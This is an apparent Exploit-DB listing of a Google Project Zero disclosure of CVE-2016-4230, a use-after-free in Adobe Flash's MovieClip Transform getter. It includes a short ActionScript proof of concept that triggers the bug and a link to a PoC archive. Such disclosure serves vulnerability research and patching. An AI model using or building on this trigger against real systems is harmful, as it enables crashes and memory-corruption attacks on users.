Adobe Flash - MovieClip Transform Getter Use-After-Free

Author: Google Security Research
type: dos
platform: multiple
port: 0
date_added: 2016-08-29
date_updated: 2016-08-29
verified: 1
codes: CVE-2016-4230
tags: 
aliases: 
screenshot_url: 
application_url: 

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){

	mc.removeMovieClip();

        // Fix heap
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip